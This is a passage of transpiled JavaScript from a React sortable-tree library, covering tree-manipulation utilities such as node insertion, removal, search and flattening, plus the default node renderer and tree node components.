If the result went down the correct path if (_result !== RESULT_MISS) { if (_result) { // If the result was truthy (in this case, an object), // pass it to the next level of recursion up return _objectSpread2(_objectSpread2({}, node), {}, { children: [].concat(_toConsumableArray(node.children.slice(0, i)), [_result], _toConsumableArray(node.children.slice(i + 1))) }); } // If the result was falsy (returned from the newNode function), then // delete the node from the array. return _objectSpread2(_objectSpread2({}, node), {}, { children: [].concat(_toConsumableArray(node.children.slice(0, i)), _toConsumableArray(node.children.slice(i + 1))) }); } nextTreeIndex += 1 + getDescendantCount({ node: node.children[i], ignoreCollapsed: ignoreCollapsed }); } return RESULT_MISS; }; // Use a pseudo-root node in the beginning traversal var result = traverse({ node: { children: treeData }, currentTreeIndex: -1, pathIndex: -1, isPseudoRoot: true }); if (result === RESULT_MISS) { throw new Error('No node found at the given path.'); } return result.children; } /** * Removes the node at the specified path and returns the resulting treeData. * * @param {!Object[]} treeData * @param {number[]|string[]} path - Array of keys leading up to node to be deleted * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object[]} changedTreeData - The tree data with the node removed */ function removeNodeAtPath(_ref14) { var treeData = _ref14.treeData, path = _ref14.path, getNodeKey = _ref14.getNodeKey, _ref14$ignoreCollapse = _ref14.ignoreCollapsed, ignoreCollapsed = _ref14$ignoreCollapse === void 0 ? true : _ref14$ignoreCollapse; return changeNodeAtPath({ treeData: treeData, path: path, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, newNode: null // Delete the node }); } /** * Removes the node at the specified path and returns the resulting treeData. * * @param {!Object[]} treeData * @param {number[]|string[]} path - Array of keys leading up to node to be deleted * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object} result * @return {Object[]} result.treeData - The tree data with the node removed * @return {Object} result.node - The node that was removed * @return {number} result.treeIndex - The previous treeIndex of the removed node */ function removeNode(_ref15) { var treeData = _ref15.treeData, path = _ref15.path, getNodeKey = _ref15.getNodeKey, _ref15$ignoreCollapse = _ref15.ignoreCollapsed, ignoreCollapsed = _ref15$ignoreCollapse === void 0 ? true : _ref15$ignoreCollapse; var removedNode = null; var removedTreeIndex = null; var nextTreeData = changeNodeAtPath({ treeData: treeData, path: path, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, newNode: function newNode(_ref16) { var node = _ref16.node, treeIndex = _ref16.treeIndex; // Store the target node and delete it from the tree removedNode = node; removedTreeIndex = treeIndex; return null; } }); return { treeData: nextTreeData, node: removedNode, treeIndex: removedTreeIndex }; } /** * Gets the node at the specified path * * @param {!Object[]} treeData * @param {number[]|string[]} path - Array of keys leading up to node to be deleted * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object|null} nodeInfo - The node info at the given path, or null if not found */ function getNodeAtPath(_ref17) { var treeData = _ref17.treeData, path = _ref17.path, getNodeKey = _ref17.getNodeKey, _ref17$ignoreCollapse = _ref17.ignoreCollapsed, ignoreCollapsed = _ref17$ignoreCollapse === void 0 ? true : _ref17$ignoreCollapse; var foundNodeInfo = null; try { changeNodeAtPath({ treeData: treeData, path: path, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, newNode: function newNode(_ref18) { var node = _ref18.node, treeIndex = _ref18.treeIndex; foundNodeInfo = { node: node, treeIndex: treeIndex }; return node; } }); } catch (err) {// Ignore the error -- the null return will be explanation enough } return foundNodeInfo; } /** * Adds the node to the specified parent and returns the resulting treeData. * * @param {!Object[]} treeData * @param {!Object} newNode - The node to insert * @param {number|string} parentKey - The key of the to-be parentNode of the node * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * @param {boolean=} expandParent - If true, expands the parentNode specified by parentPath * @param {boolean=} addAsFirstChild - If true, adds new node as first child of tree * * @return {Object} result * @return {Object[]} result.treeData - The updated tree data * @return {number} result.treeIndex - The tree index at which the node was inserted */ function addNodeUnderParent(_ref19) { var treeData = _ref19.treeData, newNode = _ref19.newNode, _ref19$parentKey = _ref19.parentKey, parentKey = _ref19$parentKey === void 0 ? null : _ref19$parentKey, getNodeKey = _ref19.getNodeKey, _ref19$ignoreCollapse = _ref19.ignoreCollapsed, ignoreCollapsed = _ref19$ignoreCollapse === void 0 ? true : _ref19$ignoreCollapse, _ref19$expandParent = _ref19.expandParent, expandParent = _ref19$expandParent === void 0 ? false : _ref19$expandParent, _ref19$addAsFirstChil = _ref19.addAsFirstChild, addAsFirstChild = _ref19$addAsFirstChil === void 0 ? false : _ref19$addAsFirstChil; if (parentKey === null) { return addAsFirstChild ? { treeData: [newNode].concat(_toConsumableArray(treeData || [])), treeIndex: 0 } : { treeData: [].concat(_toConsumableArray(treeData || []), [newNode]), treeIndex: (treeData || []).length }; } var insertedTreeIndex = null; var hasBeenAdded = false; var changedTreeData = map({ treeData: treeData, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, callback: function callback(_ref20) { var node = _ref20.node, treeIndex = _ref20.treeIndex, path = _ref20.path; var key = path ? path[path.length - 1] : null; // Return nodes that are not the parent as-is if (hasBeenAdded || key !== parentKey) { return node; } hasBeenAdded = true; var parentNode = _objectSpread2({}, node); if (expandParent) { parentNode.expanded = true; } // If no children exist yet, just add the single newNode if (!parentNode.children) { insertedTreeIndex = treeIndex + 1; return _objectSpread2(_objectSpread2({}, parentNode), {}, { children: [newNode] }); } if (typeof parentNode.children === 'function') { throw new Error('Cannot add to children defined by a function'); } var nextTreeIndex = treeIndex + 1; for (var i = 0; i < parentNode.children.length; i += 1) { nextTreeIndex += 1 + getDescendantCount({ node: parentNode.children[i], ignoreCollapsed: ignoreCollapsed }); } insertedTreeIndex = nextTreeIndex; var children = addAsFirstChild ? [newNode].concat(_toConsumableArray(parentNode.children)) : [].concat(_toConsumableArray(parentNode.children), [newNode]); return _objectSpread2(_objectSpread2({}, parentNode), {}, { children: children }); } }); if (!hasBeenAdded) { throw new Error('No node found with the given key.'); } return { treeData: changedTreeData, treeIndex: insertedTreeIndex }; } function addNodeAtDepthAndIndex(_ref21) { var targetDepth = _ref21.targetDepth, minimumTreeIndex = _ref21.minimumTreeIndex, newNode = _ref21.newNode, ignoreCollapsed = _ref21.ignoreCollapsed, expandParent = _ref21.expandParent, _ref21$isPseudoRoot = _ref21.isPseudoRoot, isPseudoRoot = _ref21$isPseudoRoot === void 0 ? false : _ref21$isPseudoRoot, isLastChild = _ref21.isLastChild, node = _ref21.node, currentIndex = _ref21.currentIndex, currentDepth = _ref21.currentDepth, getNodeKey = _ref21.getNodeKey, _ref21$path = _ref21.path, path = _ref21$path === void 0 ? [] : _ref21$path; var selfPath = function selfPath(n) { return isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({ node: n, treeIndex: currentIndex })]); }; // If the current position is the only possible place to add, add it if (currentIndex >= minimumTreeIndex - 1 || isLastChild && !(node.children && node.children.length)) { if (typeof node.children === 'function') { throw new Error('Cannot add to children defined by a function'); } else { var extraNodeProps = expandParent ? { expanded: true } : {}; var _nextNode = _objectSpread2(_objectSpread2(_objectSpread2({}, node), extraNodeProps), {}, { children: node.children ? [newNode].concat(_toConsumableArray(node.children)) : [newNode] }); return { node: _nextNode, nextIndex: currentIndex + 2, insertedTreeIndex: currentIndex + 1, parentPath: selfPath(_nextNode), parentNode: isPseudoRoot ? null : _nextNode }; } } // If this is the target depth for the insertion, // i.e., where the newNode can be added to the current node's children if (currentDepth >= targetDepth - 1) { // Skip over nodes with no children or hidden children if (!node.children || typeof node.children === 'function' || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) { return { node: node, nextIndex: currentIndex + 1 }; } // Scan over the children to see if there's a place among them that fulfills // the minimumTreeIndex requirement var _childIndex = currentIndex + 1; var _insertedTreeIndex = null; var insertIndex = null; for (var i = 0; i < node.children.length; i += 1) { // If a valid location is found, mark it as the insertion location and // break out of the loop if (_childIndex >= minimumTreeIndex) { _insertedTreeIndex = _childIndex; insertIndex = i; break; } // Increment the index by the child itself plus the number of descendants it has _childIndex += 1 + getDescendantCount({ node: node.children[i], ignoreCollapsed: ignoreCollapsed }); } // If no valid indices to add the node were found if (insertIndex === null) { // If the last position in this node's children is less than the minimum index // and there are more children on the level of this node, return without insertion if (_childIndex < minimumTreeIndex && !isLastChild) { return { node: node, nextIndex: _childIndex }; } // Use the last position in the children array to insert the newNode _insertedTreeIndex = _childIndex; insertIndex = node.children.length; } // Insert the newNode at the insertIndex var _nextNode2 = _objectSpread2(_objectSpread2({}, node), {}, { children: [].concat(_toConsumableArray(node.children.slice(0, insertIndex)), [newNode], _toConsumableArray(node.children.slice(insertIndex))) }); // Return node with successful insert result return { node: _nextNode2, nextIndex: _childIndex, insertedTreeIndex: _insertedTreeIndex, parentPath: selfPath(_nextNode2), parentNode: isPseudoRoot ? null : _nextNode2 }; } // Skip over nodes with no children or hidden children if (!node.children || typeof node.children === 'function' || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) { return { node: node, nextIndex: currentIndex + 1 }; } // Get all descendants var insertedTreeIndex = null; var pathFragment = null; var parentNode = null; var childIndex = currentIndex + 1; var newChildren = node.children; if (typeof newChildren !== 'function') { newChildren = newChildren.map(function (child, i) { if (insertedTreeIndex !== null) { return child; } var mapResult = addNodeAtDepthAndIndex({ targetDepth: targetDepth, minimumTreeIndex: minimumTreeIndex, newNode: newNode, ignoreCollapsed: ignoreCollapsed, expandParent: expandParent, isLastChild: isLastChild && i === newChildren.length - 1, node: child, currentIndex: childIndex, currentDepth: currentDepth + 1, getNodeKey: getNodeKey, path: [] // Cannot determine the parent path until the children have been processed }); if ('insertedTreeIndex' in mapResult) { insertedTreeIndex = mapResult.insertedTreeIndex; parentNode = mapResult.parentNode; pathFragment = mapResult.parentPath; } childIndex = mapResult.nextIndex; return mapResult.node; }); } var nextNode = _objectSpread2(_objectSpread2({}, node), {}, { children: newChildren }); var result = { node: nextNode, nextIndex: childIndex }; if (insertedTreeIndex !== null) { result.insertedTreeIndex = insertedTreeIndex; result.parentPath = [].concat(_toConsumableArray(selfPath(nextNode)), _toConsumableArray(pathFragment)); result.parentNode = parentNode; } return result; } /** * Insert a node into the tree at the given depth, after the minimum index * * @param {!Object[]} treeData - Tree data * @param {!number} depth - The depth to insert the node at (the first level of the array being depth 0) * @param {!number} minimumTreeIndex - The lowest possible treeIndex to insert the node at * @param {!Object} newNode - The node to insert into the tree * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * @param {boolean=} expandParent - If true, expands the parent of the inserted node * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * * @return {Object} result * @return {Object[]} result.treeData - The tree data with the node added * @return {number} result.treeIndex - The tree index at which the node was inserted * @return {number[]|string[]} result.path - Array of keys leading to the node location after insertion * @return {Object} result.parentNode - The parent node of the inserted node */ function insertNode(_ref22) { var treeData = _ref22.treeData, targetDepth = _ref22.depth, minimumTreeIndex = _ref22.minimumTreeIndex, newNode = _ref22.newNode, _ref22$getNodeKey = _ref22.getNodeKey, getNodeKey = _ref22$getNodeKey === void 0 ? function () {} : _ref22$getNodeKey, _ref22$ignoreCollapse = _ref22.ignoreCollapsed, ignoreCollapsed = _ref22$ignoreCollapse === void 0 ? true : _ref22$ignoreCollapse, _ref22$expandParent = _ref22.expandParent, expandParent = _ref22$expandParent === void 0 ? false : _ref22$expandParent; if (!treeData && targetDepth === 0) { return { treeData: [newNode], treeIndex: 0, path: [getNodeKey({ node: newNode, treeIndex: 0 })], parentNode: null }; } var insertResult = addNodeAtDepthAndIndex({ targetDepth: targetDepth, minimumTreeIndex: minimumTreeIndex, newNode: newNode, ignoreCollapsed: ignoreCollapsed, expandParent: expandParent, getNodeKey: getNodeKey, isPseudoRoot: true, isLastChild: true, node: { children: treeData }, currentIndex: -1, currentDepth: -1 }); if (!('insertedTreeIndex' in insertResult)) { throw new Error('No suitable position found to insert.'); } var treeIndex = insertResult.insertedTreeIndex; return { treeData: insertResult.node.children, treeIndex: treeIndex, path: [].concat(_toConsumableArray(insertResult.parentPath), [getNodeKey({ node: newNode, treeIndex: treeIndex })]), parentNode: insertResult.parentNode }; } /** * Get tree data flattened. * * @param {!Object[]} treeData - Tree data * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {{ * node: Object, * path: []string|[]number, * lowerSiblingCounts: []number * }}[] nodes - The node array */ function getFlatDataFromTree(_ref23) { var treeData = _ref23.treeData, getNodeKey = _ref23.getNodeKey, _ref23$ignoreCollapse = _ref23.ignoreCollapsed, ignoreCollapsed = _ref23$ignoreCollapse === void 0 ? true : _ref23$ignoreCollapse; if (!treeData || treeData.length < 1) { return []; } var flattened = []; walk({ treeData: treeData, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, callback: function callback(nodeInfo) { flattened.push(nodeInfo); } }); return flattened; } /** * Generate a tree structure from flat data. * * @param {!Object[]} flatData * @param {!function=} getKey - Function to get the key from the nodeData * @param {!function=} getParentKey - Function to get the parent key from the nodeData * @param {string|number=} rootKey - The value returned by `getParentKey` that corresponds to the root node. * For example, if your nodes have id 1-99, you might use rootKey = 0 * * @return {Object[]} treeData - The flat data represented as a tree */ function getTreeFromFlatData(_ref24) { var flatData = _ref24.flatData, _ref24$getKey = _ref24.getKey, getKey = _ref24$getKey === void 0 ? function (node) { return node.id; } : _ref24$getKey, _ref24$getParentKey = _ref24.getParentKey, getParentKey = _ref24$getParentKey === void 0 ? function (node) { return node.parentId; } : _ref24$getParentKey, _ref24$rootKey = _ref24.rootKey, rootKey = _ref24$rootKey === void 0 ? '0' : _ref24$rootKey; if (!flatData) { return []; } var childrenToParents = {}; flatData.forEach(function (child) { var parentKey = getParentKey(child); if (parentKey in childrenToParents) { childrenToParents[parentKey].push(child); } else { childrenToParents[parentKey] = [child]; } }); if (!(rootKey in childrenToParents)) { return []; } var trav = function trav(parent) { var parentKey = getKey(parent); if (parentKey in childrenToParents) { return _objectSpread2(_objectSpread2({}, parent), {}, { children: childrenToParents[parentKey].map(function (child) { return trav(child); }) }); } return _objectSpread2({}, parent); }; return childrenToParents[rootKey].map(function (child) { return trav(child); }); } /** * Check if a node is a descendant of another node. * * @param {!Object} older - Potential ancestor of younger node * @param {!Object} younger - Potential descendant of older node * * @return {boolean} */ function isDescendant(older, younger) { return !!older.children && typeof older.children !== 'function' && older.children.some(function (child) { return child === younger || isDescendant(child, younger); }); } /** * Get the maximum depth of the children (the depth of the root node is 0). * * @param {!Object} node - Node in the tree * @param {?number} depth - The current depth * * @return {number} maxDepth - The deepest depth in the tree */ function getDepth(node) { var depth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; if (!node.children) { return depth; } if (typeof node.children === 'function') { return depth + 1; } return node.children.reduce(function (deepest, child) { return Math.max(deepest, getDepth(child, depth + 1)); }, depth); } /** * Find nodes matching a search query in the tree, * * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {!Object[]} treeData - Tree data * @param {?string|number} searchQuery - Function returning a boolean to indicate whether the node is a match or not * @param {!function} searchMethod - Function returning a boolean to indicate whether the node is a match or not * @param {?number} searchFocusOffset - The offset of the match to focus on * (e.g., 0 focuses on the first match, 1 on the second) * @param {boolean=} expandAllMatchPaths - If true, expands the paths to any matched node * @param {boolean=} expandFocusMatchPaths - If true, expands the path to the focused node * * @return {Object[]} matches - An array of objects containing the matching `node`s, their `path`s and `treeIndex`s * @return {Object[]} treeData - The original tree data with all relevant nodes expanded. * If expandAllMatchPaths and expandFocusMatchPaths are both false, * it will be the same as the original tree data. */ function find(_ref25) { var getNodeKey = _ref25.getNodeKey, treeData = _ref25.treeData, searchQuery = _ref25.searchQuery, searchMethod = _ref25.searchMethod, searchFocusOffset = _ref25.searchFocusOffset, _ref25$expandAllMatch = _ref25.expandAllMatchPaths, expandAllMatchPaths = _ref25$expandAllMatch === void 0 ? false : _ref25$expandAllMatch, _ref25$expandFocusMat = _ref25.expandFocusMatchPaths, expandFocusMatchPaths = _ref25$expandFocusMat === void 0 ? true : _ref25$expandFocusMat; var matchCount = 0; var trav = function trav(_ref26) { var _ref26$isPseudoRoot = _ref26.isPseudoRoot, isPseudoRoot = _ref26$isPseudoRoot === void 0 ? false : _ref26$isPseudoRoot, node = _ref26.node, currentIndex = _ref26.currentIndex, _ref26$path = _ref26.path, path = _ref26$path === void 0 ? [] : _ref26$path; var matches = []; var isSelfMatch = false; var hasFocusMatch = false; // The pseudo-root is not considered in the path var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({ node: node, treeIndex: currentIndex })]); var extraInfo = isPseudoRoot ? null : { path: selfPath, treeIndex: currentIndex }; // Nodes with with children that aren't lazy var hasChildren = node.children && typeof node.children !== 'function' && node.children.length > 0; // Examine the current node to see if it is a match if (!isPseudoRoot && searchMethod(_objectSpread2(_objectSpread2({}, extraInfo), {}, { node: node, searchQuery: searchQuery }))) { if (matchCount === searchFocusOffset) { hasFocusMatch = true; } // Keep track of the number of matching nodes, so we know when the searchFocusOffset // is reached matchCount += 1; // We cannot add this node to the matches right away, as it may be changed // during the search of the descendants. The entire node is used in // comparisons between nodes inside the `matches` and `treeData` results // of this method (`find`) isSelfMatch = true; } var childIndex = currentIndex; var newNode = _objectSpread2({}, node); if (hasChildren) { // Get all descendants newNode.children = newNode.children.map(function (child) { var mapResult = trav({ node: child, currentIndex: childIndex + 1, path: selfPath }); // Ignore hidden nodes by only advancing the index counter to the returned treeIndex // if the child is expanded. // // The child could have been expanded from the start, // or expanded due to a matching node being found in its descendants if (mapResult.node.expanded) { childIndex = mapResult.treeIndex; } else { childIndex += 1; } if (mapResult.matches.length > 0 || mapResult.hasFocusMatch) { matches = [].concat(_toConsumableArray(matches), _toConsumableArray(mapResult.matches)); if (mapResult.hasFocusMatch) { hasFocusMatch = true; } // Expand the current node if it has descendants matching the search // and the settings are set to do so. if (expandAllMatchPaths && mapResult.matches.length > 0 || (expandAllMatchPaths || expandFocusMatchPaths) && mapResult.hasFocusMatch) { newNode.expanded = true; } } return mapResult.node; }); } // Cannot assign a treeIndex to hidden nodes if (!isPseudoRoot && !newNode.expanded) { matches = matches.map(function (match) { return _objectSpread2(_objectSpread2({}, match), {}, { treeIndex: null }); }); } // Add this node to the matches if it fits the search criteria. // This is performed at the last minute so newNode can be sent in its final form. if (isSelfMatch) { matches = [_objectSpread2(_objectSpread2({}, extraInfo), {}, { node: newNode })].concat(_toConsumableArray(matches)); } return { node: matches.length > 0 ? newNode : node, matches: matches, hasFocusMatch: hasFocusMatch, treeIndex: childIndex }; }; var result = trav({ node: { children: treeData }, isPseudoRoot: true, currentIndex: -1 }); return { matches: result.matches, treeData: result.node.children }; } // very simple className utility for creating a classname string... // Falsy arguments are ignored: // // const active = true // const className = classnames( // "class1", // !active && "class2", // active && "class3" // ); // returns -> class1 class3"; // function classnames() { for (var _len = arguments.length, classes = new Array(_len), _key = 0; _key < _len; _key++) { classes[_key] = arguments[_key]; } // Use Boolean constructor as a filter callback // Allows for loose type truthy/falsey checks // Boolean("") === false; // Boolean(false) === false; // Boolean(undefined) === false; // Boolean(null) === false; // Boolean(0) === false; // Boolean("classname") === true; return classes.filter(Boolean).join(' '); } var NodeRendererDefault = /*#__PURE__*/function (_Component) { _inherits(NodeRendererDefault, _Component); var _super = _createSuper(NodeRendererDefault); function NodeRendererDefault() { _classCallCheck(this, NodeRendererDefault); return _super.apply(this, arguments); } _createClass(NodeRendererDefault, [{ key: "render", value: function render() { var _this$props = this.props, scaffoldBlockPxWidth = _this$props.scaffoldBlockPxWidth, toggleChildrenVisibility = _this$props.toggleChildrenVisibility, connectDragPreview = _this$props.connectDragPreview, connectDragSource = _this$props.connectDragSource, isDragging = _this$props.isDragging, canDrop = _this$props.canDrop, canDrag = _this$props.canDrag, node = _this$props.node, title = _this$props.title, subtitle = _this$props.subtitle, draggedNode = _this$props.draggedNode, path = _this$props.path, treeIndex = _this$props.treeIndex, isSearchMatch = _this$props.isSearchMatch, isSearchFocus = _this$props.isSearchFocus, buttons = _this$props.buttons, className = _this$props.className, style = _this$props.style, didDrop = _this$props.didDrop, treeId = _this$props.treeId, isOver = _this$props.isOver, parentNode = _this$props.parentNode, rowDirection = _this$props.rowDirection, otherProps = _objectWithoutProperties(_this$props, ["scaffoldBlockPxWidth", "toggleChildrenVisibility", "connectDragPreview", "connectDragSource", "isDragging", "canDrop", "canDrag", "node", "title", "subtitle", "draggedNode", "path", "treeIndex", "isSearchMatch", "isSearchFocus", "buttons", "className", "style", "didDrop", "treeId", "isOver", "parentNode", "rowDirection"]); var nodeTitle = title || node.title; var nodeSubtitle = subtitle || node.subtitle; var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null; var handle; if (canDrag) { if (typeof node.children === 'function' && node.expanded) { // Show a loading symbol on the handle when the children are expanded // and yet still defined by a function (a callback to fetch the children) handle = /*#__PURE__*/React__default.createElement("div", { className: "rst__loadingHandle" }, /*#__PURE__*/React__default.createElement("div", { className: "rst__loadingCircle" }, _toConsumableArray(new Array(12)).map(function (_, index) { return /*#__PURE__*/React__default.createElement("div", { // eslint-disable-next-line react/no-array-index-key key: index, className: classnames('rst__loadingCirclePoint', rowDirectionClass) }); }))); } else { // Show the handle used to initiate a drag-and-drop handle = connectDragSource( /*#__PURE__*/React__default.createElement("div", { className: "rst__moveHandle" }), { dropEffect: 'copy' }); } } var isDraggedDescendant = draggedNode && isDescendant(draggedNode, node); var isLandingPadActive = !didDrop && isDragging; var buttonStyle = { left: -0.5 * scaffoldBlockPxWidth }; if (rowDirection === 'rtl') { buttonStyle = { right: -0.5 * scaffoldBlockPxWidth }; } return /*#__PURE__*/React__default.createElement("div", _extends({ style: { height: '100%' } }, otherProps), toggleChildrenVisibility && node.children && (node.children.length > 0 || typeof node.children === 'function') && /*#__PURE__*/React__default.createElement("div", null, /*#__PURE__*/React__default.createElement("button", { type: "button", "aria-label": node.expanded ? 'Collapse' : 'Expand', className: classnames(node.expanded ? 'rst__collapseButton' : 'rst__expandButton', rowDirectionClass), style: buttonStyle, onClick: function onClick() { return toggleChildrenVisibility({ node: node, path: path, treeIndex: treeIndex }); } }), node.expanded && !isDragging && /*#__PURE__*/React__default.createElement("div", { style: { width: scaffoldBlockPxWidth }, className: classnames('rst__lineChildren', rowDirectionClass) })), /*#__PURE__*/React__default.createElement("div", { className: classnames('rst__rowWrapper', rowDirectionClass) }, connectDragPreview( /*#__PURE__*/React__default.createElement("div", { className: classnames('rst__row', isLandingPadActive && 'rst__rowLandingPad', isLandingPadActive && !canDrop && 'rst__rowCancelPad', isSearchMatch && 'rst__rowSearchMatch', isSearchFocus && 'rst__rowSearchFocus', rowDirectionClass, className), style: _objectSpread2({ opacity: isDraggedDescendant ? 0.5 : 1 }, style) }, handle, /*#__PURE__*/React__default.createElement("div", { className: classnames('rst__rowContents', !canDrag && 'rst__rowContentsDragDisabled', rowDirectionClass) }, /*#__PURE__*/React__default.createElement("div", { className: classnames('rst__rowLabel', rowDirectionClass) }, /*#__PURE__*/React__default.createElement("span", { className: classnames('rst__rowTitle', node.subtitle && 'rst__rowTitleWithSubtitle') }, typeof nodeTitle === 'function' ? nodeTitle({ node: node, path: path, treeIndex: treeIndex }) : nodeTitle), nodeSubtitle && /*#__PURE__*/React__default.createElement("span", { className: "rst__rowSubtitle" }, typeof nodeSubtitle === 'function' ? nodeSubtitle({ node: node, path: path, treeIndex: treeIndex }) : nodeSubtitle)), /*#__PURE__*/React__default.createElement("div", { className: "rst__rowToolbar" }, buttons.map(function (btn, index) { return /*#__PURE__*/React__default.createElement("div", { key: index // eslint-disable-line react/no-array-index-key , className: "rst__toolbarButton" }, btn); }))))))); } }]); return NodeRendererDefault; }(React.Component); NodeRendererDefault.defaultProps = { isSearchMatch: false, isSearchFocus: false, canDrag: false, toggleChildrenVisibility: null, buttons: [], className: '', style: {}, parentNode: null, draggedNode: null, canDrop: false, title: null, subtitle: null, rowDirection: 'ltr' }; NodeRendererDefault.propTypes = { node: PropTypes.shape({}).isRequired, title: PropTypes.oneOfType([PropTypes.func, PropTypes.node]), subtitle: PropTypes.oneOfType([PropTypes.func, PropTypes.node]), path: PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])).isRequired, treeIndex: PropTypes.number.isRequired, treeId: PropTypes.string.isRequired, isSearchMatch: PropTypes.bool, isSearchFocus: PropTypes.bool, canDrag: PropTypes.bool, scaffoldBlockPxWidth: PropTypes.number.isRequired, toggleChildrenVisibility: PropTypes.func, buttons: PropTypes.arrayOf(PropTypes.node), className: PropTypes.string, style: PropTypes.shape({}), // Drag and drop API functions // Drag source connectDragPreview: PropTypes.func.isRequired, connectDragSource: PropTypes.func.isRequired, parentNode: PropTypes.shape({}), // Needed for dndManager isDragging: PropTypes.bool.isRequired, didDrop: PropTypes.bool.isRequired, draggedNode: PropTypes.shape({}), // Drop target isOver: PropTypes.bool.isRequired, canDrop: PropTypes.bool, // rtl support rowDirection: PropTypes.string }; var PlaceholderRendererDefault = function PlaceholderRendererDefault(_ref) { var isOver = _ref.isOver, canDrop = _ref.canDrop; return /*#__PURE__*/React__default.createElement("div", { className: classnames('rst__placeholder', canDrop && 'rst__placeholderLandingPad', canDrop && !isOver && 'rst__placeholderCancelPad') }); }; PlaceholderRendererDefault.defaultProps = { isOver: false, canDrop: false }; PlaceholderRendererDefault.propTypes = { isOver: PropTypes.bool, canDrop: PropTypes.bool }; var TreeNode = /*#__PURE__*/function (_Component) { _inherits(TreeNode, _Component); var _super = _createSuper(TreeNode); function TreeNode() { _classCallCheck(this, TreeNode); return _super.apply(this, arguments); } _createClass(TreeNode, [{ key: "render", value: function render() { var _this$props = this.props, children = _this$props.children, listIndex = _this$props.listIndex, swapFrom = _this$props.swapFrom, swapLength = _this$props.swapLength, swapDepth = _this$props.swapDepth, scaffoldBlockPxWidth = _this$props.scaffoldBlockPxWidth, lowerSiblingCounts = _this$props.lowerSiblingCounts, connectDropTarget = _this$props.connectDropTarget, isOver = _this$props.isOver, draggedNode = _this$props.draggedNode, canDrop = _this$props.canDrop, treeIndex = _this$props.treeIndex, treeId = _this$props.treeId, getPrevRow = _this$props.getPrevRow, node = _this$props.node, path = _this$props.path, rowDirection = _this$props.rowDirection, otherProps = _objectWithoutProperties(_this$props, ["children", "listIndex", "swapFrom", "swapLength", "swapDepth", "scaffoldBlockPxWidth", "lowerSiblingCounts", "connectDropTarget", "isOver", "draggedNode", "canDrop", "treeIndex", "treeId", "getPrevRow", "node", "path", "rowDirection"]); var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null; // Construct the scaffold representing the structure of the tree var scaffoldBlockCount = lowerSiblingCounts.length; var scaffold = []; lowerSiblingCounts.forEach(function (lowerSiblingCount, i) { var lineClass = ''; if (lowerSiblingCount > 0) { // At this level in the tree, the nodes had sibling nodes further down if (listIndex === 0) { // Top-left corner of the tree // +-----+ // | | // | +--+ // | | | // +--+--+ lineClass = 'rst__lineHalfHorizontalRight rst__lineHalfVerticalBottom'; } else if (i === scaffoldBlockCount - 1) { // Last scaffold block in the row, right before the row content // +--+--+ // | | | // | +--+ // | | | // +--+--+ lineClass = 'rst__lineHalfHorizontalRight rst__lineFullVertical'; } else { // Simply connecting the line extending down to the next sibling on this level // +--+--+ // | | | // | | | // | | | // +--+--+ lineClass = 'rst__lineFullVertical'; } } else if (listIndex === 0) { // Top-left corner of the tree, but has no siblings // +-----+ // | | // | +--+ // | | // +-----+ lineClass = 'rst__lineHalfHorizontalRight'; } else if (i === scaffoldBlockCount - 1) { // The last or only node in this level of the tree // +--+--+ // | | | // | +--+ // | | // +-----+ lineClass = 'rst__lineHalfVerticalTop rst__lineHalfHorizontalRight'; } scaffold.push( /*#__PURE__*/React__default.createElement("div", { key: "pre_".concat(1 + i), style: { width: scaffoldBlockPxWidth }, className: classnames('rst__lineBlock', lineClass, rowDirectionClass) })); if (treeIndex !== listIndex && i === swapDepth) { // This row has been shifted, and is at the depth of // the line pointing to the new destination var highlightLineClass = ''; if (listIndex === swapFrom + swapLength - 1) { // This block is on the bottom (target) line // This block points at the target block (where the row will go when released) highlightLineClass = 'rst__highlightBottomLeftCorner'; } else if (treeIndex === swapFrom) { // This block is on the top (source) line highlightLineClass = 'rst__highlightTopLeftCorner'; } else { // This block is between the bottom and top highlightLineClass = 'rst__highlightLineVertical'; } var _style; if (rowDirection === 'rtl') { _style = { width: scaffoldBlockPxWidth, right: scaffoldBlockPxWidth * i }; } else { // Default ltr _style = { width: scaffoldBlockPxWidth, left: scaffoldBlockPxWidth * i }; } scaffold.push( /*#__PURE__*/React__default.createElement("div", { // eslint-disable-next-line react/no-array-index-key key: i, style: _style, className: classnames('rst__absoluteLineBlock', highlightLineClass, rowDirectionClass) })); } }); var style; if (rowDirection === 'rtl') { style = { right: scaffoldBlockPxWidth * scaffoldBlockCount }; } else { // Default ltr style = { left: scaffoldBlockPxWidth * scaffoldBlockCount }; } return connectDropTarget( /*#__PURE__*/React__default.createElement("div", _extends({}, otherProps, { className: classnames('rst__node', rowDirectionClass) }), scaffold, /*#__PURE__*/React__default.createElement("div", { className: "rst__nodeContent", style: style }, React.Children.map(children, function (child) { return /*#__PURE__*/React.cloneElement(child, { isOver: isOver, canDrop: canDrop, draggedNode: draggedNode }); })))); } }]); return TreeNode; }(React.Component); TreeNode.defaultProps = { swapFrom: null, swapDepth: null, swapLength: null, canDrop: false, draggedNode: null, rowDirection: 